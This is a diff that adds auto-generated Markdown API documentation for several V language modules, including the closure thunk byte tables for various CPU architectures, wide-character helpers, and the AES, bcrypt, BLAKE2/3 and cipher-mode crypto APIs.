+- [normal_run](#normal_run)
+- [run](#run)
+
+## normal_run
+```v
+fn normal_run(op fn (), label string) int
+```
+
+[[Return to contents]](#Contents)
+
+## run
+```v
+fn run(op fn (), label string, code Wi_si_code, status int) int
+```
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:39

aiprompts/v_core/builtin/closure.md

@@ -0,0 +1,220 @@
+# module closure
+
+
+## Contents
+- [Constants](#Constants)
+- [C.pthread_mutex_t](#C.pthread_mutex_t)
+
+## Constants
+```v
+const closure_thunk = $if amd64 {
+	[
+		u8(0xF3),
+		0x44,
+		0x0F,
+		0x7E,
+		0x3D,
+		0xF7,
+		0xBF,
+		0xFF,
+		0xFF, // movq  xmm15, QWORD PTR [rip - userdata]
+		0xFF,
+		0x25,
+		0xF9,
+		0xBF,
+		0xFF,
+		0xFF, // jmp  QWORD PTR [rip - fn]
+	]
+} $else $if i386 {
+	[
+		u8(0xe8),
+		0x00,
+		0x00,
+		0x00,
+		0x00, // call here
+		// here:
+		0x59, // pop  ecx
+		0x66,
+		0x0F,
+		0x6E,
+		0xF9, // movd xmm7, ecx
+		0xff,
+		0xA1,
+		0xff,
+		0xbf,
+		0xff,
+		0xff, // jmp  DWORD PTR [ecx - 0x4001] # <fn>
+	]
+} $else $if arm64 {
+	[
+		u8(0x11),
+		0x00,
+		0xFE,
+		0x5C, // ldr d17, userdata
+		0x30,
+		0x00,
+		0xFE,
+		0x58, // ldr x16, fn
+		0x00,
+		0x02,
+		0x1F,
+		0xD6, // br  x16
+	]
+} $else $if arm32 {
+	[
+		u8(0x04),
+		0xC0,
+		0x4F,
+		0xE2, // adr ip, here
+		// here:
+		0x01,
+		0xC9,
+		0x4C,
+		0xE2, // sub  ip, ip, #0x4000
+		0x90,
+		0xCA,
+		0x07,
+		0xEE, // vmov s15, ip
+		0x00,
+		0xC0,
+		0x9C,
+		0xE5, // ldr  ip, [ip, 0]
+		0x1C,
+		0xFF,
+		0x2F,
+		0xE1, // bx   ip
+	]
+} $else $if rv64 {
+	[
+		u8(0x97),
+		0xCF,
+		0xFF,
+		0xFF, // auipc t6, 0xffffc
+		0x03,
+		0xBF,
+		0x8F,
+		0x00, // ld    t5, 8(t6)
+		0x07,
+		0xB3,
+		0x0F,
+		0x00, // fld   ft6, 0(t6)
+		0x67,
+		0x00,
+		0x0F,
+		0x00, // jr    t5
+	]
+} $else $if rv32 {
+	[
+		u8(0x97),
+		0xCF,
+		0xFF,
+		0xFF, // auipc t6, 0xffffc
+		0x03,
+		0xAF,
+		0x4F,
+		0x00, // lw    t5, 4(t6)
+		0x07,
+		0xAB,
+		0x0F,
+		0x00, // flw   fs6, 0(t6)
+		0x67,
+		0x00,
+		0x0F,
+		0x00, // jr    t5
+	]
+} $else $if s390x {
+	[
+		u8(0xC0),
+		0x70,
+		0xFF,
+		0xFF,
+		0xE0,
+		0x00, // larl %r7, -16384
+		0x68,
+		0xF0,
+		0x70,
+		0x00, // ld   %f15, 0(%r7)
+		0xE3,
+		0x70,
+		0x70,
+		0x08,
+		0x00,
+		0x04, // lg   %r7, 8(%r7)
+		0x07,
+		0xF7, // br   %r7
+	]
+} $else $if ppc64le {
+	[
+		u8(0xa6),
+		0x02,
+		0x08,
+		0x7c, // mflr   %r0
+		0x05,
+		0x00,
+		0x00,
+		0x48, // bl     here
+		0xa6,
+		0x02,
+		0xc8,
+		0x7d, // here:  mflr %r14
+		0xf8,
+		0xbf,
+		0xce,
+		0x39, // addi   %r14, %r14, -16392
+		0x00,
+		0x00,
+		0xce,
+		0xc9, // lfd    %f14, 0(%r14)
+		0x08,
+		0x00,
+		0xce,
+		0xe9, // ld     %r14, 8(%r14)
+		0xa6,
+		0x03,
+		0x08,
+		0x7c, // mtlr   %r0
+		0xa6,
+		0x03,
+		0xc9,
+		0x7d, // mtctr  %r14
+		0x20,
+		0x04,
+		0x80,
+		0x4e, // bctr
+	]
+} $else $if loongarch64 {
+	[
+		u8(0x92),
+		0xFF,
+		0xFF,
+		0x1D, // pcaddu12i t6, -4
+		0x48,
+		0x02,
+		0x80,
+		0x2B, // fld.d     f8, t6, 0
+		0x51,
+		0x22,
+		0xC0,
+		0x28, // ld.d      t5, t6, 8
+		0x20,
+		0x02,
+		0x00,
+		0x4C, // jr        t5
+	]
+} $else {
+	[]u8{}
+}
+```
+
+refer to https://godbolt.org/z/r7P3EYv6c for a complete assembly vfmt off
+
+[[Return to contents]](#Contents)
+
+## C.pthread_mutex_t
+```v
+struct C.pthread_mutex_t {}
+```
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:39

aiprompts/v_core/builtin/wchar.md

@@ -0,0 +1,135 @@
+# module wchar
+
+
+## Contents
+- [Constants](#Constants)
+- [from_rune](#from_rune)
+- [from_string](#from_string)
+- [length_in_bytes](#length_in_bytes)
+- [length_in_characters](#length_in_characters)
+- [to_string](#to_string)
+- [to_string2](#to_string2)
+- [Character](#Character)
+  - [str](#str)
+  - [==](#==)
+  - [to_rune](#to_rune)
+- [C.wchar_t](#C.wchar_t)
+
+## Constants
+```v
+const zero = from_rune(0)
+```
+
+zero is a Character, that in C L"" strings represents the string end character (terminator).
+
+[[Return to contents]](#Contents)
+
+## from_rune
+```v
+fn from_rune(r rune) Character
+```
+
+from_rune creates a Character, given a V rune
+
+[[Return to contents]](#Contents)
+
+## from_string
+```v
+fn from_string(s string) &Character
+```
+
+from_string converts the V string (in UTF-8 encoding), into a newly allocated platform specific buffer of C.wchar_t . The conversion is done by processing each rune of the input string 1 by 1.
+
+[[Return to contents]](#Contents)
+
+## length_in_bytes
+```v
+fn length_in_bytes(p voidptr) int
+```
+
+length_in_bytes returns the length of the given wchar_t* wide C style L"" string in bytes. Note that the size of wchar_t is different on the different platforms, thus the length in bytes for the same data converted from UTF-8 to a &Character buffer, will be different as well. i.e. unsafe { wchar.length_in_bytes(wchar.from_string('abc')) } will be 12 on unix, but 6 on windows.
+
+[[Return to contents]](#Contents)
+
+## length_in_characters
+```v
+fn length_in_characters(p voidptr) int
+```
+
+See also `length_in_bytes` .
+
+Example
+```v
+
+assert unsafe { wchar.length_in_characters(wchar.from_string('abc')) } == 3
+
+```
+
+[[Return to contents]](#Contents)
+
+## to_string
+```v
+fn to_string(p voidptr) string
+```
+
+to_string creates a V string, encoded in UTF-8, given a wchar_t* wide C style L"" string. It relies that the string has a 0 terminator at its end, to determine the string's length. Note, that the size of wchar_t is platform-dependent, and is *2 bytes* on windows, while it is *4 bytes* on most everything else. Unless you are interfacing with a C library, that does specifically use `wchar_t`, consider using `string_from_wide` instead, which will always assume that the input data is in an UTF-16 encoding, no matter what the platform is.
+
+[[Return to contents]](#Contents)
+
+## to_string2
+```v
+fn to_string2(p voidptr, len int) string
+```
+
+to_string2 creates a V string, encoded in UTF-8, given a `C.wchar_t*` wide C style L"" string. Note, that the size of `C.wchar_t` is platform-dependent, and is *2 bytes* on windows, while *4* on most everything else. Unless you are interfacing with a C library, that does specifically use wchar_t, consider using string_from_wide2 instead, which will always assume that the input data is in an UTF-16 encoding, no matter what the platform is.
+
+[[Return to contents]](#Contents)
+
+## Character
+```v
+type Character = C.wchar_t
+```
+
+Character is a type, that eases working with the platform dependent C.wchar_t type.
+
+Note: the size of C.wchar_t varies between platforms, it is 2 bytes on windows, and usually 4 bytes elsewhere.
+
+[[Return to contents]](#Contents)
+
+## str
+```v
+fn (a Character) str() string
+```
+
+return a string representation of the given Character
+
+[[Return to contents]](#Contents)
+
+## ==
+```v
+fn (a Character) == (b Character) bool
+```
+
+== is an equality operator, to ease comparing Characters
+
+Todo: the default == operator, that V generates, does not work for C.wchar_t .
+
+[[Return to contents]](#Contents)
+
+## to_rune
+```v
+fn (c Character) to_rune() rune
+```
+
+to_rune creates a V rune, given a Character
+
+[[Return to contents]](#Contents)
+
+## C.wchar_t
+```v
+struct C.wchar_t {}
+```
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:39

aiprompts/v_core/crypto/aes.md

@@ -0,0 +1,80 @@
+# module aes
+
+
+## Contents
+- [Constants](#Constants)
+- [new_cipher](#new_cipher)
+- [AesCipher](#AesCipher)
+  - [free](#free)
+  - [block_size](#block_size)
+  - [encrypt](#encrypt)
+  - [decrypt](#decrypt)
+
+## Constants
+```v
+const block_size = 16
+```
+
+The AES block size in bytes.
+
+[[Return to contents]](#Contents)
+
+## new_cipher
+```v
+fn new_cipher(key []u8) cipher.Block
+```
+
+new_cipher creates and returns a new [[AesCipher](#AesCipher)]. The key argument should be the AES key, either 16, 24, or 32 bytes to select AES-128, AES-192, or AES-256.
+
+[[Return to contents]](#Contents)
+
+## AesCipher
+## free
+```v
+fn (mut c AesCipher) free()
+```
+
+free the resources taken by the AesCipher `c`
+
+[[Return to contents]](#Contents)
+
+## block_size
+```v
+fn (c &AesCipher) block_size() int
+```
+
+block_size returns the block size of the checksum in bytes.
+
+[[Return to contents]](#Contents)
+
+## encrypt
+```v
+fn (c &AesCipher) encrypt(mut dst []u8, src []u8)
+```
+
+encrypt encrypts the first block of data in `src` to `dst`.
+
+Note: `dst` and `src` are both mutable for performance reasons.
+
+Note: `dst` and `src` must both be pre-allocated to the correct length.
+
+Note: `dst` and `src` may be the same (overlapping entirely).
+
+[[Return to contents]](#Contents)
+
+## decrypt
+```v
+fn (c &AesCipher) decrypt(mut dst []u8, src []u8)
+```
+
+decrypt decrypts the first block of data in `src` to `dst`.
+
+Note: `dst` and `src` are both mutable for performance reasons.
+
+Note: `dst` and `src` must both be pre-allocated to the correct length.
+
+Note: `dst` and `src` may be the same (overlapping entirely).
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/bcrypt.md

@@ -0,0 +1,123 @@
+# module bcrypt
+
+
+## Contents
+- [Constants](#Constants)
+- [compare_hash_and_password](#compare_hash_and_password)
+- [generate_from_password](#generate_from_password)
+- [generate_salt](#generate_salt)
+- [Hashed](#Hashed)
+  - [free](#free)
+
+## Constants
+```v
+const min_cost = 4
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const max_cost = 31
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const default_cost = 10
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const salt_length = 16
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const max_crypted_hash_size = 23
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const encoded_salt_size = 22
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const encoded_hash_size = 31
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const min_hash_size = 59
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const major_version = '2'
+```
+
+[[Return to contents]](#Contents)
+
+```v
+const minor_version = 'a'
+```
+
+[[Return to contents]](#Contents)
+
+## compare_hash_and_password
+```v
+fn compare_hash_and_password(password []u8, hashed_password []u8) !
+```
+
+compare_hash_and_password compares a bcrypt hashed password with its possible hashed version.
+
+[[Return to contents]](#Contents)
+
+## generate_from_password
+```v
+fn generate_from_password(password []u8, cost int) !string
+```
+
+generate_from_password return a bcrypt string from Hashed struct.
+
+[[Return to contents]](#Contents)
+
+## generate_salt
+```v
+fn generate_salt() string
+```
+
+generate_salt generate a string to be treated as a salt.
+
+[[Return to contents]](#Contents)
+
+## Hashed
+```v
+struct Hashed {
+mut:
+	hash  []u8
+	salt  []u8
+	cost  int
+	major string
+	minor string
+}
+```
+
+[[Return to contents]](#Contents)
+
+## free
+```v
+fn (mut h Hashed) free()
+```
+
+free the resources taken by the Hashed `h`
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/blake2b.md

@@ -0,0 +1,254 @@
+# module blake2b
+
+
+## Contents
+- [Constants](#Constants)
+- [new160](#new160)
+- [new256](#new256)
+- [new384](#new384)
+- [new512](#new512)
+- [new_digest](#new_digest)
+- [new_pmac160](#new_pmac160)
+- [new_pmac256](#new_pmac256)
+- [new_pmac384](#new_pmac384)
+- [new_pmac512](#new_pmac512)
+- [pmac160](#pmac160)
+- [pmac256](#pmac256)
+- [pmac384](#pmac384)
+- [pmac512](#pmac512)
+- [sum160](#sum160)
+- [sum256](#sum256)
+- [sum384](#sum384)
+- [sum512](#sum512)
+- [Digest](#Digest)
+  - [str](#str)
+  - [write](#write)
+  - [checksum](#checksum)
+
+## Constants
+```v
+const size160 = 20
+```
+
+size160 is the size, in bytes, of a Blake2b 160 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const size256 = 32
+```
+
+size256 is the size, in bytes, of a Blake2b 256 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const size384 = 48
+```
+
+size384 is the size, in bytes, of a Blake2b 384 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const size512 = 64
+```
+
+size512 is the size, in bytes, of a Blake2b 512 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const block_size = 128
+```
+
+block_size is the block size, in bytes, of the Blake2b hash functions.
+
+[[Return to contents]](#Contents)
+
+## new160
+```v
+fn new160() !&Digest
+```
+
+new160 initializes the digest structure for a Blake2b 160 bit hash
+
+[[Return to contents]](#Contents)
+
+## new256
+```v
+fn new256() !&Digest
+```
+
+new256 initializes the digest structure for a Blake2b 256 bit hash
+
+[[Return to contents]](#Contents)
+
+## new384
+```v
+fn new384() !&Digest
+```
+
+new384 initializes the digest structure for a Blake2b 384 bit hash
+
+[[Return to contents]](#Contents)
+
+## new512
+```v
+fn new512() !&Digest
+```
+
+new512 initializes the digest structure for a Blake2b 512 bit hash
+
+[[Return to contents]](#Contents)
+
+## new_digest
+```v
+fn new_digest(hash_size u8, key []u8) !&Digest
+```
+
+new_digest creates an initialized digest structure based on the hash size and whether or not you specify a MAC key.
+
+hash_size - the number of bytes in the generated hash. Legal values are between 1 and 64.
+
+key - key used for generating a prefix MAC.  A zero length key is used for just generating a hash.  A key of 1 to 64 bytes can be used for generating a prefix MAC.
+
+[[Return to contents]](#Contents)
+
+## new_pmac160
+```v
+fn new_pmac160(key []u8) !&Digest
+```
+
+new_pmac160 initializes the digest structure for a Blake2b 160 bit prefix MAC
+
+[[Return to contents]](#Contents)
+
+## new_pmac256
+```v
+fn new_pmac256(key []u8) !&Digest
+```
+
+new_pmac256 initializes the digest structure for a Blake2b 256 bit prefix MAC
+
+[[Return to contents]](#Contents)
+
+## new_pmac384
+```v
+fn new_pmac384(key []u8) !&Digest
+```
+
+new_pmac384 initializes the digest structure for a Blake2b 384 bit prefix MAC
+
+[[Return to contents]](#Contents)
+
+## new_pmac512
+```v
+fn new_pmac512(key []u8) !&Digest
+```
+
+new_pmac512 initializes the digest structure for a Blake2b 512 bit prefix MAC
+
+[[Return to contents]](#Contents)
+
+## pmac160
+```v
+fn pmac160(data []u8, key []u8) []u8
+```
+
+pmac160 returns the Blake2b 160 bit prefix MAC of the data.
+
+[[Return to contents]](#Contents)
+
+## pmac256
+```v
+fn pmac256(data []u8, key []u8) []u8
+```
+
+pmac256 returns the Blake2b 256 bit prefix MAC of the data.
+
+[[Return to contents]](#Contents)
+
+## pmac384
+```v
+fn pmac384(data []u8, key []u8) []u8
+```
+
+pmac384 returns the Blake2b 384 bit prefix MAC of the data.
+
+[[Return to contents]](#Contents)
+
+## pmac512
+```v
+fn pmac512(data []u8, key []u8) []u8
+```
+
+pmac512 returns the Blake2b 512 bit prefix MAC of the data.
+
+[[Return to contents]](#Contents)
+
+## sum160
+```v
+fn sum160(data []u8) []u8
+```
+
+sum160 returns the Blake2b 160 bit checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## sum256
+```v
+fn sum256(data []u8) []u8
+```
+
+sum256 returns the Blake2b 256 bit checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## sum384
+```v
+fn sum384(data []u8) []u8
+```
+
+sum384 returns the Blake2b 384 bit checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## sum512
+```v
+fn sum512(data []u8) []u8
+```
+
+sum512 returns the Blake2b 512 bit checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## Digest
+## str
+```v
+fn (d Digest) str() string
+```
+
+string makes a formatted string representation of a Digest structure
+
+[[Return to contents]](#Contents)
+
+## write
+```v
+fn (mut d Digest) write(data []u8) !
+```
+
+write adds bytes to the hash
+
+[[Return to contents]](#Contents)
+
+## checksum
+```v
+fn (mut d Digest) checksum() []u8
+```
+
+checksum finalizes the hash and returns the generated bytes.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/blake2s.md

@@ -0,0 +1,254 @@
+# module blake2s
+
+
+## Contents
+- [Constants](#Constants)
+- [new128](#new128)
+- [new160](#new160)
+- [new224](#new224)
+- [new256](#new256)
+- [new_digest](#new_digest)
+- [new_pmac128](#new_pmac128)
+- [new_pmac160](#new_pmac160)
+- [new_pmac224](#new_pmac224)
+- [new_pmac256](#new_pmac256)
+- [pmac128](#pmac128)
+- [pmac160](#pmac160)
+- [pmac224](#pmac224)
+- [pmac256](#pmac256)
+- [sum128](#sum128)
+- [sum160](#sum160)
+- [sum224](#sum224)
+- [sum256](#sum256)
+- [Digest](#Digest)
+  - [str](#str)
+  - [write](#write)
+  - [checksum](#checksum)
+
+## Constants
+```v
+const size128 = 16
+```
+
+size128 is the size, in bytes, of a Blake2s 128 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const size160 = 20
+```
+
+size160 is the size, in bytes, of a Blake2s 160 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const size224 = 28
+```
+
+size224 is the size, in bytes, of a Blake2s 224 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const size256 = 32
+```
+
+size256 is the size, in bytes, of a Blake2s 256 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const block_size = 64
+```
+
+block_size is the block size, in bytes, of the Blake2s hash functions.
+
+[[Return to contents]](#Contents)
+
+## new128
+```v
+fn new128() !&Digest
+```
+
+new126 initializes the digest structure for a Blake2s 128 bit hash
+
+[[Return to contents]](#Contents)
+
+## new160
+```v
+fn new160() !&Digest
+```
+
+new160 initializes the digest structure for a Blake2s 160 bit hash
+
+[[Return to contents]](#Contents)
+
+## new224
+```v
+fn new224() !&Digest
+```
+
+new224 initializes the digest structure for a Blake2s 224 bit hash
+
+[[Return to contents]](#Contents)
+
+## new256
+```v
+fn new256() !&Digest
+```
+
+new256 initializes the digest structure for a Blake2s 256 bit hash
+
+[[Return to contents]](#Contents)
+
+## new_digest
+```v
+fn new_digest(hash_size u8, key []u8) !&Digest
+```
+
+new_digest creates an initialized digest structure based on the hash size and whether or not you specify a MAC key.
+
+hash_size - the number of bytes in the generated hash. Legal values are between 1 and 32.
+
+key - key used for generating a prefix MAC.  A zero length key is used for just generating a hash.  A key of 1 to 32 bytes can be used for generating a prefix MAC.
+
+[[Return to contents]](#Contents)
+
+## new_pmac128
+```v
+fn new_pmac128(key []u8) !&Digest
+```
+
+new_pmac128 initializes the digest structure for a Blake2s 128 bit prefix MAC
+
+[[Return to contents]](#Contents)
+
+## new_pmac160
+```v
+fn new_pmac160(key []u8) !&Digest
+```
+
+new_pmac160 initializes the digest structure for a Blake2s 160 bit prefix MAC
+
+[[Return to contents]](#Contents)
+
+## new_pmac224
+```v
+fn new_pmac224(key []u8) !&Digest
+```
+
+new_pmac224 initializes the digest structure for a Blake2s 224 bit prefix MAC
+
+[[Return to contents]](#Contents)
+
+## new_pmac256
+```v
+fn new_pmac256(key []u8) !&Digest
+```
+
+new_pmac256 initializes the digest structure for a Blake2s 256 bit prefix MAC
+
+[[Return to contents]](#Contents)
+
+## pmac128
+```v
+fn pmac128(data []u8, key []u8) []u8
+```
+
+pmac128 returns the Blake2s 128 bit prefix MAC of the data.
+
+[[Return to contents]](#Contents)
+
+## pmac160
+```v
+fn pmac160(data []u8, key []u8) []u8
+```
+
+pmac160 returns the Blake2s 160 bit prefix MAC of the data.
+
+[[Return to contents]](#Contents)
+
+## pmac224
+```v
+fn pmac224(data []u8, key []u8) []u8
+```
+
+pmac224 returns the Blake2s 224 bit prefix MAC of the data.
+
+[[Return to contents]](#Contents)
+
+## pmac256
+```v
+fn pmac256(data []u8, key []u8) []u8
+```
+
+pmac256 returns the Blake2s 256 bit prefix MAC of the data.
+
+[[Return to contents]](#Contents)
+
+## sum128
+```v
+fn sum128(data []u8) []u8
+```
+
+sum128 returns the Blake2s 128 bit checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## sum160
+```v
+fn sum160(data []u8) []u8
+```
+
+sum160 returns the Blake2s 160 bit checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## sum224
+```v
+fn sum224(data []u8) []u8
+```
+
+sum224 returns the Blake2s 224 bit checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## sum256
+```v
+fn sum256(data []u8) []u8
+```
+
+sum256 returns the Blake2s 256 bit checksum of the data.
+
+[[Return to contents]](#Contents)
+
+## Digest
+## str
+```v
+fn (d Digest) str() string
+```
+
+string makes a formatted string representation of a Digest structure
+
+[[Return to contents]](#Contents)
+
+## write
+```v
+fn (mut d Digest) write(data []u8) !
+```
+
+write adds bytes to the hash
+
+[[Return to contents]](#Contents)
+
+## checksum
+```v
+fn (mut d Digest) checksum() []u8
+```
+
+checksum finalizes the hash and returns the generated bytes.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/blake3.md

@@ -0,0 +1,124 @@
+# module blake3
+
+
+## Contents
+- [Constants](#Constants)
+- [sum256](#sum256)
+- [sum_derive_key256](#sum_derive_key256)
+- [sum_keyed256](#sum_keyed256)
+- [Digest.new_derive_key_hash](#Digest.new_derive_key_hash)
+- [Digest.new_hash](#Digest.new_hash)
+- [Digest.new_keyed_hash](#Digest.new_keyed_hash)
+- [Digest](#Digest)
+  - [write](#write)
+  - [checksum](#checksum)
+
+## Constants
+```v
+const size256 = 32
+```
+
+size256 is the size, in bytes, of a Blake3 256 checksum.
+
+[[Return to contents]](#Contents)
+
+```v
+const key_length = 32
+```
+
+key_length is the length, in bytes, of a Blake3 key
+
+[[Return to contents]](#Contents)
+
+```v
+const block_size = 64
+```
+
+block_size is the block size, in bytes, of the Blake3 hash functions.
+
+[[Return to contents]](#Contents)
+
+```v
+const chunk_size = 1024
+```
+
+chunk_size is the chunk size, in bytes, of the Blake3 hash functions. A chunk consists of 16 blocks.
+
+[[Return to contents]](#Contents)
+
+## sum256
+```v
+fn sum256(data []u8) []u8
+```
+
+sum256 returns the Blake3 256 bit hash of the data.
+
+[[Return to contents]](#Contents)
+
+## sum_derive_key256
+```v
+fn sum_derive_key256(context []u8, key_material []u8) []u8
+```
+
+sum_derived_key256 returns the Blake3 256 bit derived key hash of the key material
+
+[[Return to contents]](#Contents)
+
+## sum_keyed256
+```v
+fn sum_keyed256(data []u8, key []u8) []u8
+```
+
+sum_keyed256 returns the Blake3 256 bit keyed hash of the data.
+
+[[Return to contents]](#Contents)
+
+## Digest.new_derive_key_hash
+```v
+fn Digest.new_derive_key_hash(context []u8) !Digest
+```
+
+Digest.new_derive_key_hash initializes a Digest structure for deriving a Blake3 key
+
+[[Return to contents]](#Contents)
+
+## Digest.new_hash
+```v
+fn Digest.new_hash() !Digest
+```
+
+Digest.new_hash initializes a Digest structure for a Blake3 hash
+
+[[Return to contents]](#Contents)
+
+## Digest.new_keyed_hash
+```v
+fn Digest.new_keyed_hash(key []u8) !Digest
+```
+
+Digest.new_keyed_hash initializes a Digest structure for a Blake3 keyed hash
+
+[[Return to contents]](#Contents)
+
+## Digest
+## write
+```v
+fn (mut d Digest) write(data []u8) !
+```
+
+write adds bytes to the hash
+
+[[Return to contents]](#Contents)
+
+## checksum
+```v
+fn (mut d Digest) checksum(size u64) []u8
+```
+
+checksum finalizes the hash and returns the generated bytes.
+
+This is the point in the hashing operation that we need to know how many bytes of hash to generate.  Normally this is 32 but can be any size up to 2**64.
+
+[[Return to contents]](#Contents)
+
+#### Powered by vdoc. Generated on: 2 Sep 2025 07:18:17

aiprompts/v_core/crypto/cipher.md

@@ -0,0 +1,238 @@
+# module cipher
+
+
+## Contents
+- [new_cbc](#new_cbc)
+- [new_cfb_decrypter](#new_cfb_decrypter)
+- [new_cfb_encrypter](#new_cfb_encrypter)
+- [new_ctr](#new_ctr)
+- [new_ofb](#new_ofb)
+- [safe_xor_bytes](#safe_xor_bytes)
+- [xor_bytes](#xor_bytes)
+- [xor_words](#xor_words)
+- [Block](#Block)
+- [BlockMode](#BlockMode)
+- [Stream](#Stream)
+- [Cbc](#Cbc)
+  - [free](#free)
+  - [encrypt_blocks](#encrypt_blocks)
+  - [decrypt_blocks](#decrypt_blocks)
+- [Cfb](#Cfb)
+  - [free](#free)
+  - [xor_key_stream](#xor_key_stream)
+- [Ctr](#Ctr)
+  - [free](#free)
+  - [xor_key_stream](#xor_key_stream)
+- [Ofb](#Ofb)
+  - [xor_key_stream](#xor_key_stream)
+
+## new_cbc
+```v
+fn new_cbc(b Block, iv []u8) Cbc
+```
+
+new_cbc returns a `DesCbc` which encrypts in cipher block chaining mode, using the given Block. The length of iv must be the same as the Block's block size.
+
+[[Return to contents]](#Contents)
+
+## new_cfb_decrypter
+```v
+fn new_cfb_decrypter(b Block, iv []u8) Cfb
+```
+
+new_cfb_decrypter returns a `Cfb` which decrypts with cipher feedback mode, using the given Block. The iv must be the same length as the Block's block size
+
+[[Return to contents]](#Contents)
+
+## new_cfb_encrypter
+```v
+fn new_cfb_encrypter(b Block, iv []u8) Cfb
+```
+
+new_cfb_encrypter returns a `Cfb` which encrypts with cipher feedback mode, using the given Block. The iv must be the same length as the Block's block size
+
+[[Return to contents]](#Contents)
+
+## new_ctr
+```v
+fn new_ctr(b Block, iv []u8) Ctr
+```
+
+new_ctr returns a Ctr which encrypts/decrypts using the given Block in counter mode. The length of iv must be the same as the Block's block size.
+
+[[Return to contents]](#Contents)
+
+## new_ofb
+```v
+fn new_ofb(b Block, iv []u8) Ofb
+```
+
+new_ofb returns a Ofb that encrypts or decrypts using the block cipher b in output feedback mode. The initialization vector iv's length must be equal to b's block size.
+
+[[Return to contents]](#Contents)
+
+## safe_xor_bytes
+```v
+fn safe_xor_bytes(mut dst []u8, a []u8, b []u8, n int)
+```
+
+safe_xor_bytes XORs the bytes in `a` and `b` into `dst` it does so `n` times. Please note: `n` needs to be smaller or equal than the length of `a` and `b`.
+
+[[Return to contents]](#Contents)
+
+## xor_bytes
+```v
+fn xor_bytes(mut dst []u8, a []u8, b []u8) int
+```
+
+
+
+Note: Implement other versions (joe-c)xor_bytes xors the bytes in a and b. The destination should have enough space, otherwise xor_bytes will panic. Returns the number of bytes xor'd.
+
+[[Return to contents]](#Contents)
+
+## xor_words
+```v
+fn xor_words(mut dst []u8, a []u8, b []u8)
+```
+
+xor_words XORs multiples of 4 or 8 bytes (depending on architecture.) The slice arguments `a` and `b` are assumed to be of equal length.
+
+[[Return to contents]](#Contents)
+
+## Block
+```v
+interface Block {
+	block_size int // block_size returns the cipher's block size.
+	encrypt(mut dst []u8, src []u8) // Encrypt encrypts the first block in src into dst.
+	// Dst and src must overlap entirely or not at all.
+	decrypt(mut dst []u8, src []u8) // Decrypt decrypts the first block in src into dst.
+	// Dst and src must overlap entirely or not at all.
+}
+```
+
+A Block represents an implementation of block cipher using a given key. It provides the capability to encrypt or decrypt individual blocks. The mode implementations extend that capability to streams of blocks.
+
+[[Return to contents]](#Contents)
+
+## BlockMode
+```v
+interface BlockMode {
+	block_size int // block_size returns the mode's block size.
+	crypt_blocks(mut dst []u8, src []u8) // crypt_blocks encrypts or decrypts a number of blocks. The length of
+	// src must be a multiple of the block size. Dst and src must overlap
+	// entirely or not at all.
+	//
+	// If len(dst) < len(src), crypt_blocks should panic. It is acceptable
+	// to pass a dst bigger than src, and in that case, crypt_blocks will
+	// only update dst[:len(src)] and will not touch the rest of dst.
+	//
+	// Multiple calls to crypt_blocks behave as if the concatenation of
+	// the src buffers was passed in a single run. That is, BlockMode
+	// maintains state and does not reset at each crypt_blocks call.
+}
+```
+
+A BlockMode represents a block cipher running in a block-based mode (CBC, ECB etc).
+
+[[Return to contents]](#Contents)
+
+## Stream
+```v
+interface Stream {
+mut:
+	// xor_key_stream XORs each byte in the given slice with a byte from the
+	// cipher's key stream. Dst and src must overlap entirely or not at all.
+	//
+	// If len(dst) < len(src), xor_key_stream should panic. It is acceptable
+	// to pass a dst bigger than src, and in that case, xor_key_stream will
+	// only update dst[:len(src)] and will not touch the rest of dst.
+	//
+	// Multiple calls to xor_key_stream behave as if the concatenation of
+	// the src buffers was passed in a single run. That is, Stream
+	// maintains state and does not reset at each xor_key_stream call.
+	xor_key_stream(mut dst []u8, src []u8)
+}
+```
+
+A Stream represents a stream cipher.
+
+[[Return to contents]](#Contents)
+
+## Cbc
+## free
+```v
+fn (mut x Cbc) free()
+```
+
+free the resources taken by the Cbc `x`
+
+[[Return to contents]](#Contents)
+
+## encrypt_blocks
+```v
+fn (mut x Cbc) encrypt_blocks(mut dst_ []u8, src_ []u8)
+```
+
+encrypt_blocks encrypts the blocks in `src_` to `dst_`. Please note: `dst_` is mutable for performance reasons.
+
+[[Return to contents]](#Contents)
+
+## decrypt_blocks
+```v
+fn (mut x Cbc) decrypt_blocks(mut dst []u8, src []u8)
+```
+
+decrypt_blocks decrypts the blocks in `src` to `dst`. Please note: `dst` is mutable for performance reasons.
+
+[[Return to contents]](#Contents)
+
+## Cfb
+## free
+```v
+fn (mut x Cfb) free()
+```
+
+free the resources taken by the Cfb `x`
+
+[[Return to contents]](#Contents)
